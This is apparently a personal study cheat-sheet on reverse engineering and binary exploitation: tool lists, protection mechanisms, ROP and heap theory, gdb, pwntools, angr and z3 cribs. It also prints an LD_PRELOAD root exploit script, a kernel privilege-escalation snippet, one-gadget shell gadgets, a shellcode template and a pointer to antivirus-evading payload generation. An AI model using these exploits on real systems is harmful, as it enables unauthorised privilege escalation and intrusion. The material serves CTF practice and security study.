Content


Thanks a lot to @__paulch for directing me on my first binary steps.

Awesome awesomeness

Linux Inside - linux-insides (частично на русском)

Reverse Bookmarks

Helpfull Resources




Studying (practical)

I do not know the best order of studying.

Shellcoding and exploit development:




Heap


Other:



Linux kernel

  • grsecurity - still not in linux main line, because they are … (temper and desire problems)
  • KSPP - Kernel Self Protection Project - Kees Cook is a leader, looks like they are trying to really implant grsecurity thoughts into linux kernel



Windows internal structures




Anti-Reverse

Remainings

getting function names from go-lang executable in IDA

Detecting LD_PRELOAD

Various NOP-s: 2-9 byte nops (pic)


Practice (offensive)

Approaches

Disassemble

  • [IDA + HexRays] - graphic disassembler (most powerfull ourdays)
  • Binary ninja
  • hopper, binary ninja, etc.

Fazzing

Binary Solvers

Shellcodes

  • MSFvenom (metasploit)

  • metasploit modules for reversive purposes:

    /usr/share/metasploit-framework/tools/exploit/pattern_create.rb - create nonrecurrent pattern, where each substring is unique (this string is used for feeding into overflow vulnerability and see where rip jumped after stack/smth overflow (works for trivial attacks))

    /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb - get offset of substring in long pattern, created previously

    Convert instructions into opcodes: $ /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb -> nasm> jmp esp

  • Veil - wiki - generate metasploit payloads that bypass common anti-virus solutions

  • LD_PRELOAD root exploit

    (http://lcamtuf.coredump.cx/soft/ld-expl):

    #!/bin/sh
cd /tmp
cat >expl.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared expl.c -o expl.so
LD_PRELOAD=/tmp/expl.so sh
rm /tmp/expl.so /tmp/expl.c
  • Duck toolkit - online payload scripts generator (win, linux)
  • Bunny toolkit - some payload examples

other

  • Triton - dynamic binary analysis framework
  • Hybrid analysis - a free malware analysis service for the community that detects and analyzes unknown threats using a unique Hybrid Analysis technology
  • fuzzball - symbolic execution tool for x86

  • SASM - simple opensource crossplatform IDE for NASM, MASM, GAS, FASM assembly languages

  • Online utils:
    • ODA - the online disassembler
    • HexEd.it - online hexeditor



Tools

debuggers, disassemblers, hex-/binary- editors

basic

linux

  • patchelf - utility to modify the dynamic linker and RPATH of ELF executables
  • wcc - collection of compilation tools to perform binary executables conversions on the GNU/Linux and other POSIX platforms

windows (PE)

  • Debuggers:

  • Static analysis/patching:

    Old-school (meaning not useless):

    • x64/x86 imports reconstruction tools

      • Import Reconstructor

        В нём указывается работающий процесс, и указывается в этом процессе место, в котором записана таблица импорта функций из ядра

        • RVA – адрес этого места в бинарнике
        • OEP – адрес точки старта в файле
        • Size – размер указанной таблицы импорта

        После всего этого файл находит, что импортируется в данный бинарник, и может починить бинарник, правильно перезаписав таблицу импорта в том месте, где она должна была бы быть. (Мы при этом сохраням тот вид бинарника, который в памяти, т.е. например он может быть наполовину расшифрованным, если хакер там пытался себя шифровать)

      • Scylla

    • PETools, pefile, PEid – tools for PE-files analysis, modification, live memory dumps, etc.
    • pev(pev (github)) - the PE file analysis toolkit
    • Resource Hacker – tool for modification of resources inside PE-files
    • Dependency Walker - scans any x32/x64 windows module and builds a hierarchical tree diagram of all dependent modules

  • Dynamic analysis/patching:

    • api-monitor-v2r13-x86-x64 – lets you monitor and control API calls made by applications and services
    • RemoteDll – tool to Inject DLL or Remove DLL from Remote Process, based on Dll injection techics: CreateRemoteThread, NtCreateThread (good for cross-sessions injections), QueueUseAPC (delayed injection)

utilities

  • checksec.sh – script checking executable properties like PIE, RELRO, PaX, Canaries, ASLR, Fortify Source, …
  • execstack – check/change stack executability
  • xdelta3 – binaries diff
  • objdump – disassembler
  • strace – syscall trace

  • ltrace – dynamic libraries calls

    • villoc – heap visualisation tool (after ltrace log)
  • file (linux), trid (windows) – info about file, its type
  • readelf
  • nm (linux), dumpbin (windows) – exported symbols from library
  • ldd (elf), Dependency Walker (pe) – dynamic-libraries dependencies
  • strings
  • lsof (linux) – ls opened files by process


  • memfetch - a simple utility to take non-destructive snapshots of process address space


  • binvis.io - visual analysis of ELF, PE, PDF files - looks more like a toy

decompilers (python, .NET/dotNet, delphi)

Python

  • uncompyle6 – python decompiler
  • pycdc (Decompyle++) - python decompiler
  • dis – python module, capable to disassemble python bytecode
  • inspect – python module, which can get information about live objects (modules, classes, functions, etc.)

.NET/dotNet

  • ILSpy - .NET assembly browser and decompiler
  • dnSpy - .NET assembly editor, decompiler, and debugger
  • dotPeek - .NET decompiler and assembly browser
  • de4dot - .NET deobfuscator and unpacker

Delphi

remainings

Format string exploitation

binary memory checks (frameworks):

  • valgrind - framework for building dynamic analysis tools to automatically detect many memory management and threading bugs
  • Splint - is a tool for statically checking C programs for security vulnerabilities and coding mistakes
  • Insure++ - detects memory corruption, memory leaks, access outside of array bounds, invalid pointers
  • efence (freebsd) - malloc debugger, which detects crossing the boundaries of a malloc() memory allocation, and detects touching memory that has been released by free()

golang analysis

Облегчаем реверсинг Golang бинарников или зачем вообще писать скрипты в IDA


Theory

LD_PRELOAD

LD_PRELOAD (environment variable) - a list of additional, user-specified, ELF shared objects to be loaded before all others.
LD_PRELOAD can be used to patch original functions (e.g. system).
Use dlsym(RTLD_NEXT, "system") to get original function. Use gcc -shared -fPIC -o my_hook.so my_hook.c for compilation.

Assembler

x86 instruction listing

Calling convention

System V x86_64 calling convention: rdi, rsi, rdx, rcx, r8, r9, [stack], return values: rax, rdx

Syscall conventions:

arch bitness syscall number arg 1 arg 2 arg 3 arg 4 arg 5 arg 6 call methods return
i386 32 EAX EBX ECX EDX ESI EDI EBP int 0x80 EAX
x86_64 64 RAX RDI RSI RDX R10 R8 R9 syscall RAX
ARM eabi 32 r7 r0 r1 r2 r3 r4 r5 swi 0x0 r1

Other OS calling conventions



ROP-gadgets

Universal rop-gadget

This rop-gadget for setting rdi, rsi, rdx exist almost in every binary (linux x86_64) (just after _init_proc)

.text:00000000004009C0
.text:00000000004009C0     loc_4009C0:                             ; CODE XREF: __libc_csu_init+54j
.text:00000000004009C0 038                 mov     rdx, r13
.text:00000000004009C3 038                 mov     rsi, r14
.text:00000000004009C6 038                 mov     edi, r15d
.text:00000000004009C9 038                 call    qword ptr [r12+rbx*8]
.text:00000000004009CD 038                 add     rbx, 1
.text:00000000004009D1 038                 cmp     rbx, rbp
.text:00000000004009D4 038                 jnz     short loc_4009C0
.text:00000000004009D6
.text:00000000004009D6     loc_4009D6:                             ; CODE XREF: __libc_csu_init+36j
.text:00000000004009D6 038                 add     rsp, 8
.text:00000000004009DA 030                 pop     rbx
.text:00000000004009DB 028                 pop     rbp
.text:00000000004009DC 020                 pop     r12
.text:00000000004009DE 018                 pop     r13
.text:00000000004009E0 010                 pop     r14
.text:00000000004009E2 008                 pop     r15
.text:00000000004009E4 000                 retn

One-gadget RCE

Example: glibc contains next 3 gadgets, which can be used to start /bin/sh under x86_x64 (if rsi != 0 and points to non-existant memory, there will be problems)

.text:000000000004526A                 mov     rax, cs:environ_ptr_0
.text:0000000000045271                 lea     rdi, aBinSh     ; "/bin/sh"
.text:0000000000045278                 lea     rsi, [rsp+188h+var_158]
.text:000000000004527D                 mov     cs:dword_3C54A0, 0
.text:0000000000045287                 mov     cs:dword_3C54A4, 0
.text:0000000000045291                 mov     rdx, [rax]
.text:0000000000045294                 call    execve
.text:0000000000045299                 mov     edi, 7Fh        ; status
.text:000000000004529E                 call    _exit

.text:00000000000EF6C4                 mov     rax, cs:environ_ptr_0
.text:00000000000EF6CB                 lea     rsi, [rsp+1B8h+var_168]
.text:00000000000EF6D0                 lea     rdi, aBinSh     ; "/bin/sh"
.text:00000000000EF6D7                 mov     rdx, [rax]
.text:00000000000EF6DA                 call    execve
.text:00000000000EF6DF                 call    abort

.text:00000000000F0567                 mov     rax, cs:environ_ptr_0
.text:00000000000F056E                 lea     rsi, [rsp+1D8h+var_168]
.text:00000000000F0573                 lea     rdi, aBinSh     ; "/bin/sh"
.text:00000000000F057A                 mov     rdx, [rax]
.text:00000000000F057D                 call    execve
.text:00000000000F0582                 call    abort


Malloc hook

Malloc hooks from .bss section can rewrited and if they are not null, they will be called.

from pwn import *
 
libc = ELF('libc.so.6')
print hex(libc.symbols['__free_hook'])
print hex(libc.symbols['__malloc_hook'])
print hex(libc.symbols['__realloc_hook'])

Malloc function can be triggered by printing a lot of text by printf (after overload of output buffer, malloc will be triggered)


Return to fixup


Return to fixup - is an exploitation technic allowing to call _dl_fixup on got[some_func] forcing to load dynamic symbol from other library (e.g. system from libc) and write its address into got table as address to some_func. _dl_fixup tightly works with structure link_map, by tampering with it or by replacing it fixup process can be ruled.

Basic GOT.PLT feature: .got section is filled in runtime (unless LD_BIND_NOW=true).
After program started, got table does NOT containt pointers to linked functions, but it contains pointers to next instruction in .plt section (trampolines). During first function call it is used to find pointer to symbol in dynamic libraries and write it into .got section.

Constrictions: No PIE, Partial RELRO, eip control, address leak

PLT table structure (example x64):

0x00005555555545b0:  push   QWORD PTR [rip+0x200a52]        # 0x555555755008                                    -- push link_map pointer
0x00005555555545b6:  jmp    QWORD PTR [rip+0x200a54]        # 0x555555755010                                    -- jmp to dl_fixup
0x00005555555545bc:  nop    DWORD PTR [rax+0x0]                                                                 
0x00005555555545c0 <puts@plt+0>:     jmp    QWORD PTR [rip+0x200a52]        # 0x555555755018            -- call function from .got pointer
0x00005555555545c6 <puts@plt+6>:     push   0x0                                                                 -- push reloc_arg       <-- trampoline
0x00005555555545cb <puts@plt+11>:    jmp    0x5555555545b0                                                      -- jmp upward           <-- trampoline
0x00005555555545d0 <__isoc99_sscanf@plt+0>:  jmp    QWORD PTR [rip+0x200a4a]        # 0x555555755020    -- call function from .got pointer
0x00005555555545d6 <__isoc99_sscanf@plt+6>:  push   0x1                                                         -- push reloc_arg       <-- trampoline
0x00005555555545db <__isoc99_sscanf@plt+11>: jmp    0x5555555545b0                                              -- jmp upward           <-- trampoline

GOT table structure (example x64):

0x0804A000 _GLOBAL_OFFSET_TABLE_ db 
; first 3 cells are reserved for system pointers
; GOT[0]
; GOT[1] = &link_map
; GOT[2] = trampoline_fixup
0x0804A00C off_804A00C     dd offset getchar          ; GETCHAR = 0 + 3 = 3
0x0804A010 off_804A010     dd offset fgets            ; FGETS = 1 + 3 = 4

gdb commands to investigate link_map

set $GOT = (void**)&_GLOBAL_OFFSET_TABLE_
set $lmap = (struct link_map *)$GOT[1]
p *$lmap

set $DT_STRTAB = 0x5
set $DT_SYMTAB = 0x6
set $DT_JMPREL = 0x17

set $dyn = (Elf64_Rela *)$lmap->l_info[$DT_JMPREL].d_un.d_ptr + $correct_offset1
p *$dyn
set $sym = (Elf64_Sym *)$lmap->l_info[$DT_SYMTAB].d_un.d_ptr + $correct_offset2
p *$sym
set $strtab = (char *)$lmap->l_info[$DT_STRTAB].d_un.d_ptr
x/s $strtab + $sym->st_name


Shellcodes



General knowledge

Heap

Chunck allignment is 16 bytes = 2 qwords (3 lastbits)

Various allocator realizations:

  • dlmalloc (Doug Lea)
  • ptmalloc (glibc malloc) (pthreads oriented) (ptmalloc flow chart)
  • jemalloc (firefox, freebsd) (big chunks allocation oriented)
  • tcmalloc (chrome) (caching oriented)
  • etc.


Binary protections mechanisms

OS’s mechanisms

  • ASLR - address space layout randomization - randomize stack, heap, dynamical libraries

Disable ASLR: echo 0 >/proc/sys/kernel/randomize_va_space

Ubuntu security features

Compiler’s mechanisms

  • Canary - protection from stack overflow. (Canary is a random value generated by libc at application launch)

  • NX - no memory regions which is writable and executable simultaneously

    • stack, heap, .bss, .data - rw-
    • .rodata - r--
    • .code - rx-
    • dynamic libraries: PLT(r-x) - jumps to address of dynamic library, writen at GOT(rw-) by dynamic linker.

  • RELRO - Relocation Read-Only - after dynamic linker done loading libraries, it marks some regions r--, just before applications starts.

    • Full RELRO - GOT:r--, Partial RELRO - GOT:rw-
  • PIE - position independent executable (aslr can be applied to .code .bss .got section)
  • FORTIFY - during compilation compiler looks after variables and if it can deduce size of variables passed to libc functions, then compiler will change call on a fortified libc function, which on detection of overflow will terminate program.

More detailed info: hexcellents


  • ROP - return oriented programming

  • Stack/Buffer overflow

  • Heap overflow

    • General heap overflow
    • Unlink
    • Use-after-free
    • Double free
    • Malloc-Maleficarium (House of Force, …)
    • Heap Off-by-one
    • House of Einherjar
  • Format string exploitation
  • Address leak

Specific technics

Windows



Linux kernel analysis

Linux kernel security projects:

Theory

Security mechanisms

  • kaslr - kernel address space layout randomization

    kaslr works at system starup therefore single address leakage is enough till system reboot

    Bypass: address-leak


  • SMAP - supervisor mode access protection

    The CPU will generate a fault whenever ring0 attempts to access code from a page marked with the user bit

    Bypass:

    • kernel primitives
    • ROP-chains

  • SMEP - supervisor mode execution protection - (bit in cr4 register)

    The CPU will generate a fault whenever ring0 attempts to execute code from a page marked with the user bit

    Bypass:

    • native_write_cr4 kernel primitive - rewriting cr4 must be accurate because its bits are very important with various meanings
    • ROP-chains

Attacks

Heap

  • SLOB/SLAB/SLUB - linux kernel allocator (SLUB - since 2008)

    Linux has kernel heap, which is divided into several cache of allocators (each allocator contains chuncks of fixed length: 32 bytes, …, 4K, 8K) (kernel modules can create their own specific allocators)
    Each core has its own set of cache of allocators.
    After chunk is kfree-d it will be added to free list (in fact - stack) of corresponding allocator. So last freed chunk will be next to be allocated - use-after-free, use-before-allocate.

    Defense mechanisms:

    • kernel > 4.9 - randomized free list
    • heap-poisoning (write zeros after free)

  • double-free problem:

    page has several n allocated chuncks and after freeing all chunks => page will be marked as free
    if the same chunk will be freed n times => page will be marked as free => … some time … => bug_on will trigger and oops will happen

Approaches: static analysis, fuzzing, symbolic execution (automatic exploit generation)

  • syzkaller - fuzzer (call system-calls with various parameters)
  • coccinelle - static analysis - using specific language description can be created for future checks (Knows semantics of kernel primitives.)
  • gcc plugins (become more popular last time)



Practice

Example: vulnerable kernel module example and its exploitation

Linux debugging:

  • qemu -s + gdb

  • ftrace - use instrumentation at compilation time, can enable kernel tracing in motion

    /sys/kernel/debug/tracing/set_ftrace_pid - trace kernel only when it is related to specified pid process /sys/kernel/debug/tracing/events/kmem/kmalloc/enable - log usage of kmalloc function

# insmod / rmmod

# unhide kernel pointers
echo 0 > /proc/sys/kernel/kptr_restrict

# all kernel functions memory addresses (kaslr)
sudo cat /proc/kallsyms

# info about kernel heap
sudo cat /proc/slabinfo

# info about specific kernel module
ls /sys/module/MODULE_NAME/sections/.text
# e.g. cat /sys/module/MODULE_NAME/sections/.text - module memory address

Compile kernel module (linux contains special Makefile for kernel modules compilation)

obj-m := MODULE_EXAMPLE.o

all:
    make -C "/lib/modules/`uname -r`/build" M=${PWD} modules

clean:
    make -C /lib/modules/`uname -r`/build M=${PWD} clean


root privilege escalation snippet

/* Addresses from System.map (remember KASLR problem) */
#define COMMIT_CREDS_PTR	0xffffffff810a2840lu
#define PREPARE_KERNEL_CRED_PTR	0xffffffff810a2c30lu

typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS_PTR;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED_PTR;

void __attribute__((regparm(3))) root_it(unsigned long arg1, bool arg2)
{
	commit_creds(prepare_kernel_cred(0));
}



Tools usage examples (cribs)

socat TCP-LISTEN:7777,reuseaddr,fork EXEC:"./binary"

ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only 'pop|ret'

strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin"

objdump -d /lib/x86_64-linux-gnu/libc.so.6 | grep "__libc_system"

# compile assembler
nasm -f elf ./shellcode.asm && ld -melf_i386 -o shellcode shellcode.o

gdb

r < <(python -c 'print "program input, maybe shellcode"')

run start finish
where up
break watch

info break # see numbers of breakpoints and watchpoints
disable 3 7
enable 3 7
delete 3 7

si # step instruction
ni # step instruction, but steps over 'call'

x/i $pc
x/s $eax
x/10x $sp, $sp+20
# There is a lot of format specifiers for memory output http://visualgdb.com/gdbreference/commands/x

disas $rip, +0x20
print $eax
telescope

set $eax = 0x1234
set {unsigned char}0x400726 = 0x7f

find 0x4005e0, +0x3ac, "wrong code"
find 0x4005e0, +0x3ac, 0x4009c2

info proc map
info file
checksec
context
vmmap
maintenance info sections 

add-symbol-file <my_file.o> <address>
layout split

set $GOT = (void**)&_GLOBAL_OFFSET_TABLE_

# heap analysis
p main_arena
p *(mchunk_ptr) 0x555555756000

gdb can patch binaries:

$ gdb -write -q ./binary
gdb$ set {unsigned char}0x400726 = 0x7f # Just after starting gdb
gdb$ quit # It is important to quit immidiately
$ # success

gdb connect ida:

  • gdbserver localhost:12345 ./binary 3335
  • open with ida same binary
  • connect with ida to remote binary


pwntools example

Not an exploit but just a list of basic commands

#!/usr/bin/python

from pwn import *

# we can set the context once, instead of writing asm(x, os=..., arch=...) each time
context(os='linux', arch='amd64', log_level='info')

if __name__ == '__main__':

    elf = ELF("./bin")
    mprotect = elf.got['mprotect']
    scanf = elf.plt['__isoc99_scanf']
    lu = next(elf.search('%lu\0'))
    rop1 = next(elf.search(asm("mov rdx, r13; mov rsi, r14; mov edi, r15d")))

    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    libc.symbols['puts']

    shellcode = asm(shellcraft.amd64.linux.sh())

    r = process('./bin')
    # # start for netcat
    # r = remote('127.0.0.1', 7777)
    # # start through ssh
    # s = ssh('passcode', 'pwnable.kr', 2222, password='guest')
    # r = s.process(["./passcode"])

    # std_out, std_err = r.communicate()

    r.recvuntil('4: exit\n')
    
    payload = "A" * 16 + "B" * 8
    payload += p64(0x4008F3)  # struct.pack("Q", x)

    r.sendline(shellcode)
    r.interactive()

from pwn import *

fmtstr_payload # helper for format string exploitation


radare2

radare2 -w ./binary

Basic commands:

  • s main
  • V - jump to code
  • p - switch to assembler
  • c - set cursor
  • i - change value


angr

Better to install angr into separate python environment, not into system’s.

import angr
project = angr.Project('./fauxware')
init_state = project.factory.full_init_state()
pg = project.factory.path_group(init_state)

pg.step()
# <PathGroup with 1 active>

pg.active
# [<Path with 1 runs (at 0x1020020 : /lib/x86_64-linux-gnu/libc-2.24.so)>]

# ... <83 steps later>

In [82]: pg.step(); pg.active
Out[82]: 
[<Path with 68 runs (at 0x400692 : /home/phoenix/Desktop/angr/test/fauxware)>,
 <Path with 68 runs (at 0x400699 : /home/phoenix/Desktop/angr/test/fauxware)>]


pg.active[0].state.se.any_str(pg.active[0].state.posix.files[0].all_bytes()) # strings stisfying binary constrictions
# '\x00\x00\x00\x00\x00\x00\x00\x00\x00SOSNEAKY\x00'
print repr(path.state.posix.dumps(0))
# '\x00\x00\x00\x00\x00\x00\x00\x00\x00SOSNEAKY\x00'

pg.active[0].state.se.any_n_str(pg.active[0].state.posix.files[0].all_bytes(), 5)
# ['@\x8c \x02\x08@ \x02\x00SOSNEAKY\x80',
#  '\x00\x00\x00\x00\x00\x00\x00\x00\x84SOSNEAKY\x00',
#  '@\x8c \x02\x08@ \x02\x00SOSNEAKY\x04',
#  '\x00\x00\x00\x00\x00\x00\x00\x00\x00SOSNEAKY\x00',
#  '@\x8c \x02\x08@ \x02\x84SOSNEAKY\x80']

path = pg.active[0]

print path.state.se.constraints
# lots of constraints to be solved for path

path.state.posix.files

# {0: <simuvex.storage.file.SimFile at 0x7fcc44378f90>,
#  1: <simuvex.storage.file.SimFile at 0x7fcc44383090>,
#  2: <simuvex.storage.file.SimFile at 0x7fcc44383150>}

project2 = angr.Project('./fauxware')
init_state2 = project2.factory.full_init_state()
pg2 = project.factory.path_group(init_state2)
pg2.explore(find=0x00000000004006ED) # Start binary solving from arbitrious point

pg2.found
# [<Path with 72 runs (at 0x4006ed : /home/phoenix/Desktop/angr/test/fauxware)>]

path2 = pg2.found[0]
path2.state.se.any_str(path2.state.posix.files[0].all_bytes())
# '\x00\x00\x00\x00\x00\x00\x00\x00\x00SOSNEAKY\x00'

import angr
project = angr.Project('./amadhj')
init_state = project.factory.full_init_state()

# Start binary from arbitrious point
# PRODUCTIVITY! : LAZY_SOLVES will save a lot of memory and time
pg = project.factory.path_group(project.factory.blank_state(addr=0x40298F, remove_options={simuvex.o.LAZY_SOLVES}))

# Execute traces till finding target address, all traces with avoid address will be dropped
pg.explore(find=0x40288f, avoid=0x4029f1, n=10) # n - max number of steps

# PRODUCTIVITY! : Merge will merge some traces with equivalent conditions and optimize some conditions
# It will save a lot of memory and time!
pg.merge()

path = pg.found[0]
print repr(path.state.se.any_str(path.state.posix.files[0].all_bytes()))

# this is just a shortcut for the above
print repr(path.state.posix.dumps(0))


z3

from z3 import *
n = Int('num')

s1 = Solver()
s1.add(n == 201527)
s1.check()
# sat
s1.model()
# [num = 201527]

s = Solver()
constraints = [cons1, cons2, ...]
cons = And(constraints) # !!!
cons = simplify(cons)   # !!! simplify can improve PRODUCTIVITY! (because of conditions merge)
s.add(cons)

num1 = BitVec('num1', 32)
num2 = BitVec('num2', 32)

s2 = Solver()
s2.add(URem(num1 * 179 + num2 * 31337, 2**32) == 12345678)
s2.add(URem(num1 * 7877 + num2 * 13, 2**32) == 4105897404)
s2.check()
s2.model()

s = Solver()
# add some constraints
s.push()    # save context
# ass some specific constraints and solve the problem, ...
s.pop()     # restore context